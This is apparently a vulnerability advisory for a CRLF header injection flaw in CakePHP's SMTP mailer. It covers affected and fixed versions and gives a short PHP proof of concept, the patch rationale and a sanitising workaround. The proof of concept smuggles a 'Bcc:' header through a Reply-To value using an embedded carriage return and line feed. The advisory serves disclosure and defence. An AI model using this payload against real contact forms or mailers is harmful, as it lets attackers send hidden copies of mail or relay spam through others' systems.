highCVE-2026-77634Sep 8, 2026

CVE-2026-77634: CakePHP SmtpTransport CRLF Header Injection

Rohit Hatagale
AI Security Researcher, SecureLayer7

CakePHP's SMTP mailer passes user-supplied header values to the mail server without stripping carriage-return and line-feed characters, letting an attacker inject arbitrary email headers.

Packagecakephp/cakephp
Ecosystemcomposer
Affected>= 4.5.0, < 4.5.12
Fixed in4.5.12
CVE-2026-77634: CakePHP SmtpTransport CRLF Header Injection

The problem

The SmtpTransport class builds outbound SMTP headers by concatenating values set via Message::setHeaders() or addHeaders() directly into the DATA stream.

Before 4.5.12, no sanitization was applied to custom header values. An attacker who controls any header value (for example, a user-submitted reply-to or a dynamically built X- header) can embed \r\n sequences to terminate the current header line and inject new ones, including Bcc:, Content-Type:, or body content.

Proof of concept

A working proof-of-concept for CVE-2026-77634 in cakephp/cakephp, with the exact payload below.

php
<?php
// Attacker controls $userInput, e.g. from a contact form "Reply-To" field.
$userInput = "attacker@evil.com\r\nBcc: victim@corp.com";

$mailer = new \Cake\Mailer\Mailer();
$mailer->setTo('recipient@example.com')
       ->setSubject('Hello')
       ->setHeaders(['Reply-To' => $userInput])  // CRLF not stripped pre-4.5.12
       ->deliver('Message body.');

// Raw SMTP DATA block produced (vulnerable versions):
// Reply-To: attacker@evil.com
// Bcc: victim@corp.com      <-- injected header
// Subject: Hello
// ...

SMTP header lines are delimited by \r\n. Because SmtpTransport wrote custom header values verbatim, an embedded \r\n in a value was interpreted by the receiving MTA as a new header line, not as part of the value.

The patch (commits 08188962, 2afe42b0, 3e09dae6, b67b6224) adds a sanitization step that strips or replaces \r, \n, and \r\n bytes from every custom header value before it is written to the socket. This is a classic CWE-93 (Improper Neutralization of CRLF Sequences) root cause: trusting caller-supplied data to be single-line without enforcing that invariant.

The fix

Upgrade to CakePHP 4.5.12 (or 4.6.5, 5.1.9, 5.2.14, 5.3.7). As a short-term workaround on older versions, strip CRLF bytes from any user-supplied value before passing it to setHeaders() or addHeaders(), for example: $value = str_replace(["\r\n", "\r", "\n"], '', $userInput);

Reported by Rotem Reiss and @unknownhad.

References: [1][2][3][4][5][6]

Related research